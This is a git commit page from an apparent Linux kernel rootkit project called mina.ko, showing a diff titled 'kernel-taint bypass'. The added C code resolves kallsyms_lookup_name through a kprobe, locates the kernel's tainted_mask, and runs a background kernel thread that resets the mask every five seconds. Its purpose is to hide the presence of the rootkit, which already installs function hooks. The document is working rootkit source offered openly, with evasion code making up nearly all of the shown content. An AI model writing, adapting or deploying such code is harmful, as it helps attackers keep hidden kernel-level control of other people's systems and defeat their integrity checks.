mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit d6305d1acbff6e6ac8b18848314f37c963b30b62
parent 0b8dbe4e2d1a9ac4335405713c04934ec017d5bd
Author: djnn <[email protected]>
Date: Fri, 3 Jan 2025 21:50:04 +0900

feat(mina): kernel-taint bypass

Diffstat:
Mrootkit/mina.c | 75+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

1 file changed, 75 insertions(+), 0 deletions(-)

diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -1,8 +1,12 @@
+#include <linux/delay.h>
 #include <linux/fs.h>
 #include <linux/init.h>
 #include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/kthread.h>
 #include <linux/module.h>
 #include <linux/slab.h>
+#include <linux/version.h>
 
 #include "includes/mina.h"
 
@@ -108,17 +112,88 @@ out:
     return ret;
 }
 
+/* taint bypass */
+
+#define RESET_THREAD_NAME "minamina"
+
+static struct task_struct *cleaner_thread = NULL;
+static unsigned long *taint_mask_ptr = NULL;
+
+static struct kprobe probe_lookup = {
+    .symbol_name = "kallsyms_lookup_name"};
+
+static unsigned long *get_taint_mask_address(void) {
+    typedef unsigned long (*lookup_name_fn)(const char *name);
+
+    lookup_name_fn kallsyms_lookup_fn;
+    unsigned long *taint_addr = NULL;
+
+    if (register_kprobe(&probe_lookup) < 0) {
+        printk(KERN_ERR "Failed to register kprobe.\n");
+        return NULL;
+    }
+
+    kallsyms_lookup_fn = (lookup_name_fn)probe_lookup.addr;
+    unregister_kprobe(&probe_lookup);
+
+    if (kallsyms_lookup_fn) {
+        taint_addr = (unsigned long *)kallsyms_lookup_fn("tainted_mask");
+        if (taint_addr) {
+            printk(KERN_INFO "tainted_mask address: %px\n", taint_addr);
+        } else {
+            printk(KERN_ERR "Could not find tainted_mask address.\n");
+        }
+    } else {
+        printk(KERN_ERR "kallsyms_lookup_name not found.\n");
+    }
+
+    return taint_addr;
+}
+
+static void reset_taint_mask(void) {
+    if (taint_mask_ptr && *taint_mask_ptr != 0) {
+        *taint_mask_ptr = 0;
+    } else {
+        printk(KERN_WARNING "Invalid tainted_mask address or already reseted.\n");
+    }
+}
+
+static int zt_thread(void *data) {
+    while (!kthread_should_stop()) {
+        reset_taint_mask();
+        ssleep(5);
+    }
+    return 0;
+}
+
 static int __init module_start(void) {
     int error = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
     if (error) {
         return error;
     }
 
+    taint_mask_ptr = get_taint_mask_address();
+    if (!taint_mask_ptr) {
+        printk(KERN_ERR "Could not get tainted_mask address.\n");
+        return -EFAULT;
+    }
+
+    cleaner_thread = kthread_run(zt_thread, NULL, RESET_THREAD_NAME);
+    if (IS_ERR(cleaner_thread)) {
+        printk(KERN_ERR "Failed to start tainted_mask cleaner thread.\n");
+        return PTR_ERR(cleaner_thread);
+    }
+
     printk(KERN_INFO "mina is cute ~\n");
     return 0;
 }
 
 static void __exit module_end(void) {
+    if (cleaner_thread) {
+        kthread_stop(cleaner_thread);
+        printk(KERN_INFO "zerot stopped.\n");
+    }
+
     fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
 
     printk(KERN_INFO "bye-bye mina ~\n");